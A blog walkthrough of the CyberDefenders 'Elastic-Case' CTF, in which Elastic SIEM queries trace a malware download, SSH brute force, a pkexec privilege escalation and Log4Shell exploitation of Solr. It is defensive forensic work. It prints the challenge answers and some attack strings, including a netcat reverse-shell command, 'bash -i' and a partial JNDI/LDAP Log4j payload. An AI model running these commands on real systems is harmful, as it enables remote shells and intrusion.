CyberDefenders: Elastic-Case

Sean Dixon
8 min readJun 15, 2023


Elastic-Case is a medium-difficulty challenge hosted by CyberDefenders. It involves using Elastic as a SIEM to trace malicious activity on a compromised network. For this challenge, I mostly used Discover for queries, though I tried to incorporate Elastic Security as well.


An attacker was able to trick an employee into downloading a suspicious file and running it. The attacker compromised the system, along with that, The Security Team did not update most systems. The attacker was able to pivot to another system and compromise the company. As a SOC analyst, you are assigned to investigate the incident using Elastic as a SIEM tool and help the team to kick out the attacker.


Who downloads the malicious file which has a double extension?

We’ll start by checking what kind of security alerts were triggered.

Navigate to Security -> Alerts.

Here we can see that Malware Detection Alert was triggered 19 times.

Top 3 alerts.

We’re looking for the user who downloaded the malicious file, so let’s look at those.

Hover over Malware Detection Alert and click “Filter In” on the popup.

Malware Detection Alerts, sorted from Oldest -> Newest

With our query filtered, we can spot an executable with a double extension that was downloaded by the user ahmed.

Answer: ahmed

What is the hostname he was using?

The hostname was included in the previous query results. You might have to expand the field to get the entire value. Alternatively, you can expand the event details by clicking the arrows on the left side.

Expanded details of a malware event


What is the name of the malicious file?

Referring back to our malware alerts, we know the malicious file is named Acount_details.pdf.exe.

Answer: Acount_details.pdf.exe

What is the attacker’s IP address?

We’ll need to analyze information involving the execution of the malware to determine the IP address. To navigate to the relevant analyzer screen, click Analyze Event -> Network -> Network End.

Note: We want to analyze the event of the malicious process executing, not the preceding download events.

Analyze the first Acount_details.pdf.exe process event
Open the network events menu
Select the ID for the network end event

Once we’ve navigated to the network end event we’ll find the IP address that the malware reached out to.

Attacker’s IP address

Alternatively, we can find the attacker’s IP address using Discover by querying for events that include the ahmed username, the malicious process, and a network connection.

Events that contain the ahmed user, malicious executable, and a destination IP address


Another user with high privilege runs the same malicious file. What is the username?

Going back to the malware alerts, we can create a filter to exclude the ahmed user from the results.

Creating a filter to exclude the ahmed user
Updated results

The results show the only other user that executed the malware was cybery.

Answer: cybery

The attacker was able to upload a DLL file of size 8704. What is the file name?

We can keep this simple and query for file extension and file size.

Query for file extension and exact file size

Answer: mCblHDgWP.dll

What parent process name spawns cmd with NT AUTHORITY privilege and pid 10716?

Another simple query, this time we’ll look for the process ID of 10716 and the process name of cmd.exe.

Query for the PID and cmd process
Expanded details of the result

Alternatively, we can perform the same query and analyze the corresponding event in Elastic Security.

The process information as seen in Elastic Security

Answer: rundll32.exe

The previous process was able to access a registry. What is the full path of the registry?

If we query for rundll32.exe’s PID and process name, we can check what fields are available in the corresponding events. A quick search for “registry” shows us there are values for registry.path.

Searching for available fields within query results

Knowing this, we can query for events with values for the registry.path field and create a column for it.

Query for the PID, process name, and events containing registry.path values

Alternatively, we can use our previous Elastic Security event and inspect the registry value for the rundll32.exe parent process.

Inspecting the rundll.exe even in Elastic Security

Answer: HKLM\SYSTEM\ControlSet001\Control\Lsa\FipsAlgorithmPolicy\Enabled

PowerShell process with pid 8836 changed a file in the system. What was that filename?

We can repeat the process from the previous question. We’ll start by querying for the PID, process name, and events that include a value. Then we’ll search for relevant fields and apply them to the query. In this case, event.type does the trick.

Query for pid, process name, and event.type

Elastic Secure, as it turns out, makes the process much quicker.

Within our previous Elastic Secure window we can see there is a PowerShell process spawned by cmd.exe. Checking that process information confirms the PID and includes the filename.

PowerShell process in Elastic Security
File events for the PowerShell process
The file changed by PowerShell

Answer: ModuleAnalysisCache

PowerShell process with pid 11676 created files with the ps1 extension. What is the first file that has been created?

We can use the same query from our previous Discover, just change the PID and event.type.

Query for pid and event.type

Answer: __PSScriptPolicyTest_bymwxuft.3b5.ps1

What is the machine’s IP address that is in the same LAN as a windows machine?

Many of the events we’ve looked at have included the IP address of the Windows machine in the details, but we can get this information by going to the hosts screen under Elastic Security as well.

Windows Host

If we check the other devices listed, the only one that is on the same network is the Ubuntu host.

Ubuntu host


The attacker login to the Ubuntu machine after a brute force attack. What is the username he was successfully login with?

We can start by determining the source of the brute force attack. One simple way of getting started is by building a table of usernames. With this table, we can quickly skim for obvious brute-force attempts and use a specific event to form our parameters.

Table of usernames within the logs.

We can see some usernames that are almost certainly generated from an attack, so we’ll use password147 as our example to determine the appropriate parameters.

Some of the relevant parameters in one of the failed ssh attempts

Now we know we can use event.action and event.outcome to query the appropriate events. We can also see the host is Ubuntu. Further down in the output, the Windows machine is listed as the source.

With that information, we’ll create our query to search for ssh_login events with any value for event.outcome.

SSH login attempts sorted by most recent

Answer: salem

After that attacker downloaded the exploit from the GitHub repo using wget. What is the full URL of the repo?

We’ll search for processes run by the salem user with the wget as the process name.

Query for and


After The attacker runs the exploit, which spawns a new process called pkexec, what is the process’s md5 hash?

We can search for events with pkexec as the process name and filter for the md5 hash.

Query process name and filter for hash values

Answer: 3a4ad518e9e404a6bad3d39dfebaf2f6

Then attacker gets an interactive shell by running a specific command on the process id 3011 with the root user. What is the command?

We’ll keep it simple and query for the PID and root user.

Query for user name and pid

Answer: bash -i

What is the hostname which alert “Netcat Network Activity”?

For this, we’ll head back to Elastic Security, from there it’s easy to check the alert details.

Netcat Network Activity event details

Answer: CentOS

What is the username who ran netcat?

We can see the username from the details in Q16.

Answer: solr

What is the parent process name of netcat?

We’ll analyze the event in Elastic Security.

Process hierarchy as seen in Security

If you focus on nc process, you can get the entire command that the attacker ran to get a reverse shell. Write the full command?

While we’re in Elastic Security we’ll open the process details.

netcat process details

Of course, we can also see this information within Discover with our standard query.

nc command execution

Answer: nc -e /bin/bash 9999

From the previous three questions, you may remember a famous java vulnerability. What is it?

Answer: Log4Shell

What is the entire log file path of the “solr” application?

For this, we’ll simply query for file paths containing “solr”.

The thing to note about this question is that we should be querying filebeat because it is used for application logs.

query for file names containing solr

Answer: /var/solr/logs/solr.log

What is the path that is vulnerable to log4j?

If we inspect the message field of the event, we can see many important indicators.

Query for filenames containing solr, displaying Message field

Answer: /admin/cores

What is the GET request parameter used to deliver log4j payload?

The information is in the previous message field.

Answer: foo

What is the JNDI payload that is connected to the LDAP port?

The information is in the previous message field.

Answer: {foo=${jndi:ldap://}}


This was a long and somewhat challenging CTF. It was a lot of fun uncovering all the activities of the threat actor, and it was interesting to explore Elastic Security a bit more. I’d like to revisit this challenge in the future and use Elastic Security for each of the questions.